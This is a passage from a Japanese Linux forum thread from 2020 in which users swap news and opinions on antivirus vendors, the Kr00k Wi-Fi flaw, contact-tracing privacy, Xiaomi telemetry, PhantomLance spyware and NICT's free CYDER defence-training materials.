163:login:Penguin
20/01/28 23:10:35 meBmn7jU.net
avast とは関わりたくないから。

164:login:Penguin
20/01/28 23:14:54 msT/XQYC.net
別に責めてるわけじゃないからね
ただ話膨らませるなら検索くらいしなよ

165:login:Penguin
20/01/29 00:38:40 FX+veRBJ.net
avastって中華になってたのかよw
ロシアと中華マジスゲエなあ

Linux関係ないけど､androidの中華作成のVirtual exposedってのも
ウイルスてんこ盛りらしいから気をつけてな

166:login:Penguin
20/01/29 08:40:01 QKw1rI8u.net
まじかよ
つい先日レノボの　Rayzen ノート買っちまったよ

167:login:Penguin
20/01/29 09:38:52.68 d7wE0hb8.net
>>166
レノボは中共製で知られているが、個人データを密かに送信してるんじゃないかと
かなり前に騒がれたが、今ではその話題は見かけないようになった。

168:login:Penguin
20/01/29 09:48:03.97 d7wE0hb8.net
>>164
じゃ、話しを膨らませてあげるよ。
皆さん、結構関心あったと思うけど。何人も、avast 使ってウイルス対策していたよ。
このソフトは、無料なのに使いやすかったからなあ。

169:login:Penguin
20/01/29 09:51:50.83 d7wE0hb8.net
アンチウイルス avast! Linux Home Edition
ｽﾚﾘﾝｸ(linux板)
この過去スレ、おもしろいよ。好奇心があるなら是非。

170:login:Penguin
20/02/14 02:20:37.02 c0Qe/FjT.net
avastはチェコだろ
avastが情報売買してるんなら買収したAVGもしてるんだろうな

171:login:Penguin
20/02/14 16:38:25.68 gX1pOkts.net
>>168
日本語が不自由なようだな
検索をしろって話
話を膨らませろってことじゃない

172:login:Penguin
20/03/05 01:34:35 G4vFpVY+.net
【セキュリティ】スマホ、ＰＣのバージョン更新をサボっている人は要注意！　世界１０億台以上のデバイスに深刻な脆弱性が見つかる
ｽﾚﾘﾝｸ(newsplus板)

●Kr00kの影響を受けるデバイスは10億台以上！
「Kr00k（CVE-2019-15126）」と名付けられたこの脆弱性は、
多くのクライアントデバイスが採用するBroadcomおよびCypressのWi-Fiチップに存在。
脆弱性を解消するためのパッチの適用が必要となるデバイスの総数は、実に10億を超えているとみられる。
URLﾘﾝｸ(headlines.yahoo.co.jp)

173:login:Penguin
20/03/05 09:18:22 A5krwWfW.net
BroadcomもCypressも使ってないから無問題

174:login:Penguin
20/03/06 07:58:55 sgw3Rl5z.net
>>172
ドザざまあｗｗｗ
Linux使ってた俺ら大勝利！

175:login:Penguin
20/03/07 01:08:45 m3qf4p2x.net
もう全チップにバックドア埋め込まれてるとみといていいよ

重大なAndroidセキュリティリスクが確認され、数百万台のデバイスを「ルート化」できる-可能な場合は今すぐ更新
URLﾘﾝｸ(www.forbes.com)

エドワード・スノーデン (Edward Snowden) 総合スレ
ｽﾚﾘﾝｸ(war板)

176:login:Penguin
20/03/11 06:58:14.09 NC36v9Y3.net
そのあたり懸念してReplicantOSってアンドロイドRomは機種限定してるんだよね。
WifiもAsix製チップ指定でUSBアダプタ経由で使う徹底ぶり。

177:login:Penguin
20/03/12 14:42:59 yHbe8GdM.net
これどうだろ？

【PC】マイクロソフト、Linux用のマルウェア対策ソフト「Microsoft Defender ATP for Linux」
ｽﾚﾘﾝｸ(bizplus板)

178:login:Penguin
20/03/12 15:30:58 AmodBQx2.net
ええな

179:login:Penguin
20/03/14 23:23:23 ndyfJBcC.net
なんか仕込まれそうで怖ぇ

180:login:Penguin
20/03/15 19:44:45 j8vnzYAm.net
いまや個人情報売買で経営が成り立ってるマイクソがタダでモノ使わせてくれるわけないだろ？

181:login:Penguin
20/03/16 02:00:31.10 6TJuwv7v.net
オープンソースじゃねえのか

182:login:Penguin
20/03/16 20:44:24 rhUEVfJP.net
どーせはデータ受信部分にでも泥棒機能がついてて
データ更新するたびにファイル構成やら設定したファイルやら
金の匂いのしそうなモンをアレコレ持ち出されるんだろ？ｗ
これぞMSクオリティじゃないか

183:login:Penguin
20/03/20 16:39:40 oDz6Qr3S.net
>>25
>きちんと設定されてなかったり(互換性のせいで出来ない)、

SElinux有効にするとunboundが動かなくなるので無効にしてる
よりによってプライバシー対策で切れないソフト

184:login:Penguin
20/03/26 07:43:16.57 941RjX5YI
Linuxイメージをトレント経由でダウンロードって危険？
トレントのほうが爆速なんだが...。

185:login:Penguin
20/03/26 07:47:26.12 941RjX5YI
いま思ったけど、なんで2chはhttpsじゃないんだ？

186:login:Penguin
20/03/26 23:02:10.20 jrrqybHOJ
>>185
自分も気になったけど、パフォーマンスに影響あるからとかじゃない？

187:login:Penguin
20/04/04 21:56:37.27 0zR8/rfhV
プログラミングにはやってはいけない勉強法がある！？爆速で成長する王道のプログラミング学習法を紹介！
URLﾘﾝｸ(www.youtube.com)
慶應主席レベルの秀才がプログラミングの独学に失敗した理由
URLﾘﾝｸ(www.youtube.com)
知らずに転職したら失敗する！ブラックIT企業を見分ける11のポイントを徹底解説
URLﾘﾝｸ(www.youtube.com)
営業マンが独学のみでプログラマーに転職して1年で月収80万超えた話
URLﾘﾝｸ(www.youtube.com)
未経験から2年でフリーランスエンジニアに！安定的に稼げるようになるための5ステップ
URLﾘﾝｸ(www.youtube.com)
フリーランスエンジニアになるなら大規模ベンチャー or 小規模ベンチャーどっち？
URLﾘﾝｸ(www.youtube.com)
【初心者必見】Webライター・Webマーケターを目指すならまずこの5冊！プロ御用達の文章術本を徹底紹介
URLﾘﾝｸ(www.youtube.com)
【本質】稼げるフリーランスライターになるための前提とは【記事数＝ライターの価値じゃない】
URLﾘﾝｸ(www.youtube.com)
生産性10倍！知らないと損する3つの最強デザインツール
URLﾘﾝｸ(www.youtube.com)

188:login:Penguin
20/04/12 20:17:25 FkqTAYd2.net
【IT】AppleとGoogleが「新型コロナウイルス追跡システム」をiOSとAndroidに組み込む。
ｽﾚﾘﾝｸ(newsplus板)

AppleおよびGoogleが提唱する追跡システムは、BLEを用いて連絡先追跡ネットワークを構築し、互いに近接していたスマートフォンに関する大量のデータを保持します。
iOS・Android端末間の相互運用を可能にするAPIをリリースすると発表。
さらに、2020年5月以降にはAppleとGoogleがモバイルOSにも追跡ソリューションを組み込むことで、Bluetoothベースの追跡システムをより幅広い範囲で活用できるようにするとしています

URLﾘﾝｸ(gigazine.net)

189:login:Penguin
20/04/12 21:29:22 PVWMHMkl.net
>>188
具体的に何を可能とするかという説明が一切ないね

190:login:Penguin
20/04/12 21:43:53 PVWMHMkl.net
これはプライバーの問題と係わってくるから
今でも、位置情報が記録されてる

191:login:Penguin
20/04/12 22:39:18.40 mweIS90Z.net
Googleが開発したのに「AppleとGoogleが」
ロゴすらApple左Google右という徹底ぶり。

192:login:Penguin
20/04/12 23:20:15 wPD0Lny+.net
アルファベット順だろ

193:login:Penguin
20/04/13 00:34:03.12 i2WW3vba.net
都合の良い時だけそう言うAppleメソッド。
作ったのはGoogleなのに、発表はアルファベット順にしろと言う。
だったらAlphabet/Goole Appleの順でなくちゃおかしいだろう

194:login:Penguin
20/04/13 04:30:40.00 hG1t6L/h.net
小学生の屁理屈

195:login:Penguin
20/04/22 17:14:26.52 kCvg5qbo.net
【スマホ】ＫＤＤＩスマホ位置情報都道府県などに無償提供新型コロナ
ｽﾚﾘﾝｸ(newsplus板)
新型コロナウイルスの感染拡大防止に役立ててもらおうと、
auのKDDIは、スマートフォンの位置情報などのデータをプライバシーを保護したうえで
全国の都道府県などに無償で提供することを決めました。
ヤフーもこうしたデータの提供を始めていて、
大手企業が持つデータの活用がどこまで進むか注目されます。
URLﾘﾝｸ(www3.nhk.or.jp)

196:login:Penguin
20/05/01 20:04:06 Or87f1Mo.net
【中国】Xiaomiのスマートフォンアリババに端末の行動記録を無断で送信かシークレットモードでもアウト Xiaomi「嘘だ！」 [ガーディス★]
ｽﾚﾘﾝｸ(newsplus板)

Xiaomiのスマートフォン「Xiaomi Redmi Note 8」が、端末上で行われたユーザーのほとんどの行動を記録し、アリババのサーバーに送っていることを、セキュリティ研究者のGabriel Cirlig氏が発見しました。
URLﾘﾝｸ(uk.pcmag.com)
URLﾘﾝｸ(news.livedoor.com)
..

197:login:Penguin
20/05/08 23:30:53 PgEvz8/n.net
カスペルスキーがAndroid標的のスパイウェア「PhantomLance」の調査結果を公開、東南アジアを中心に活動

攻撃活動はベトナムに拠点を置くとみられるAPT（Advanced Persistent Threat）攻撃グループ「OceanLotus」によるものとみられ、
2019年7月にロシアのセキュリティベンダーであるDoctor Webが発見した。
なお、APT攻撃グループとは、国家組織からの指示と支援を受け、高度で持続的な脅威を実行するグループを指す。

不正アプリの主な目的はインストールしたデバイスのさまざまな情報を収集することで、
位置情報や通話ログ、連絡先、SMSのほか、インストールしているアプリのリストやAndroidデバイスのモデル、
OSのバージョンといったデバイス情報を収集しているという。
URLﾘﾝｸ(k-tai.watch.impress.co.jp)

最初に引っ掛らなかったのはこういうカラクリが『アプリのアップデートを配信することによって、
悪意ある機能が追加された』：PhantomLanceのAndroid向けバックドア、Google Playで見つかる
URLﾘﾝｸ(itnews.org)

198:login:Penguin
20/05/14 17:36:10 GXzXpqxg.net
【乞食速報】サイバー防御の教材、無料配布へ [158879285]
ｽﾚﾘﾝｸ(poverty板)

実践的サイバー防御演習「CYDER」の教材を期間限定で一般公開
2020年5月12日

国立研究開発法人情報通信研究機構

国立研究開発法人情報通信研究機構（NICT、理事長: 徳田英幸）ナショナルサイバートレーニングセンターは、当センターが推進する実践的サイバー防御演習「CYDER*」の周知啓発の取組の一環として、
本日、期間限定で過去の演習教材の一部の一般公開を開始しました。
ダウンロード方法やCYDERの詳細、最新情報等は、公式Webサイトにてご確認ください。

* CYDER（サイダー）: CYber Defense Exercise with Recurrence（サイバー防御反復演習）

CYDERでは、セキュリティインシデントが発生した際の対応手順や事前の備え等について学ぶことができます。
1 背景・趣旨
新型コロナウイルス感染症緊急事態宣言の発出を受け、日本国内の多くの組織において、在宅勤務等、通常と異なる形態での勤務を余儀なくされていますが、このような状況においても、サイバー攻撃の
脅威は続いています。サイバー攻撃への対策としては、ITシステムを利用する方々の基礎知識の習得やトレーニングが重要ですが、現在の社会情勢においては、十分な学習機会の確保が困難な状況と
なっています。
このような情勢下における緊急的な措置及びCYDERの周知啓発の取組の一環として、このたび、NICTは、サイバーセキュリティに関する技術や知識を必要とする方の学習の一助とすべく、CYDERの過去の
演習教材の一部を期間限定で一般公開することとしました。

199:login:Penguin
20/05/14 17:36:51 GXzXpqxg.net
2 CYDER教材の一般公開の概要
1) 提供内容: 過去の演習シナリオを課題単位で再構成した教材を提供
2) 提供方法: 以下のWebサイトで申請を受け付け、指定場所からダウンロードする形で提供
URLﾘﾝｸ(cyder.nict.go.jp)
3) 提供期間: 2020年5月12日（火）から当面の間（当機構の判断による）
4) 対象: 組織内において情報システムの管理に携わる方、その人材育成に関わる方、その他サイバー防御演習に関心のある方など
5) 費用: 無料

3 注意事項
1) 緊急事態宣言を受けた暫定的な対応として、期間限定での提供となります。そのため、状況の変化等に伴い、予告なく変更・終了する場合があります。
2) 学習者が興味のある課題を選択して学習できるよう、演習シナリオを課題単位に分割して提供します。
3) 今回は教材のみの配布のため、CYDERの大規模演習環境は利用できません。
4) 本教材の著作権は、国立研究開発法人情報通信研究機構に帰属します。商業上の利得や金銭報酬を目的とした営利目的の利用、及び、本教材の複製や改変、第三者への再配布を禁止します。

4 利用例
1) 外出が難しい状況下の在宅勤務等における学習教材
2) 組織内での研修用教材
3) 研修・教育を今後担当する方自身のトレーニング用教材

URLﾘﾝｸ(www.nict.go.jp)

次ページ